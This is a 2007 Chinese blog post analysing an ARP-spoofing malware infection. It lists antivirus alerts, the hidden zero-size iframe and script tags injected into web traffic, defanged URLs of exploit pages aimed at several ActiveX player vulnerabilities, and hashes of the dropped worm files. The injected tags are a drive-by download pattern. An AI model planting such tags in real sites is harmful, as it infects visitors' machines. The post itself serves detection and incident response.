ARP病毒所加网址传播Worm.Win32.Anilogo,Win32.Logogo.q等

ARP病毒所加网址传播Worm.Win32.Anilogo,Win32.Logogo.q等

endurer 原创
2007-12-17 第1版

一位网友说他孤电脑网络路由器DHCP获取不到ip地址,网速超慢，重新连接路由器后打开所有网站，Kaspersky 报告：
/---
2007-12-14 17:45:23 恶意 HTTP 对象 ＜hxxp://***.8***v*8.biz/2.htm＞: 已检测 木马程序 Trojan-Downloader.JS.Psyme.ck.
2007-12-14 17:45:26 恶意 HTTP 对象 ＜hxxp://***.8***v*8.biz/index.html＞: 已检测 恶意程序 Exploit.Win32.Agent.bb.
---/
并提示:攻击:端口139 或445和局域网中攻击者的ip；网中的一些计算机出现提示信息然后自动重启的现象。

查看代码，发现代码：
/---
＜iframe src=index.html width=0 height=0＞＜/iframe＞
＜iframe src=2.htm width=0 height=0＞＜/iframe＞
＜iframe src=xl.htm width=0 height=0＞＜/iframe＞
---/

hxxp://***.8***v*8.biz/index.html　包含 Real 漏洞利用代码。
其中一句代码为：PayLoad += "ChuiZi";

hxxp://***.8***v*8.biz/2.htm 为利用BaiduBar.Tool下载4.CAB。

4.CAB包含文件r.exe：

文件说明符 : D:/temp/r.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-11-24 0:16:18
修改时间 : 2007-11-24 0:16:18
访问时间 : 2007-12-14 22:11:3
大小 : 18326 字节 17.918 KB
MD5 : 2a30052c2cdf9af72008aaf6bec12720
SHA1: 648DF9D731439E9348278FAE9DCC063505CDFE13
CRC32: 91cc38b4

Kaspersky 报为 Worm.Win32.Anilogo.b，瑞星报为 Win32.Logogo.c
并输出代码：
/---
＜script src=hxxp://***.9**g*g**.biz/0614.js＞＜/script＞
＜script src=hxxp://***.9**g*g**.biz/MPS.js＞＜/script＞
＜script src=hxxp://***.9**g*g**.biz/PowerPlayerCtrl.js＞＜/script＞
---/

hxxp://***.9**g*g**.biz/0614.js 利用ado.stream漏洞 下载 hxxp://***.9**g*g**.biz/real.exe。
文件说明符 : D:/test/real.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-12-14 21:58:51
修改时间 : 2007-12-14 21:58:51
访问时间 : 2007-12-14 22:7:3
大小 : 19122 字节 18.690 KB
MD5 : 24019d60bfe840c82ac8259a2dfb88dc
SHA1: B299F4A14DF7393ED9F96E58EB379E9B1D21D091
CRC32: 5f5bfae8

Kaspersky 报为 Worm.Win32.AutoRun.apj，瑞星报为 Win32.Logogo.q

hxxp://***.9**g*g**.biz/MPS.js　为暴风影音2的activex漏洞利用代码

hxxp://***.9**g*g**.biz/PowerPlayerCtrl.js　为PPstream漏洞利用代码

view-source:hxxp://***.8***v*8.biz/xl.htm 为迅雷PPLAYER.DLL_1_WORK ActiveX控件缓冲区溢出漏洞利用代码

迅雷PPLAYER.DLL_1_WORK ActiveX控件缓冲区溢出漏洞
hxxp://www.nsfocus.net/vulndb/11201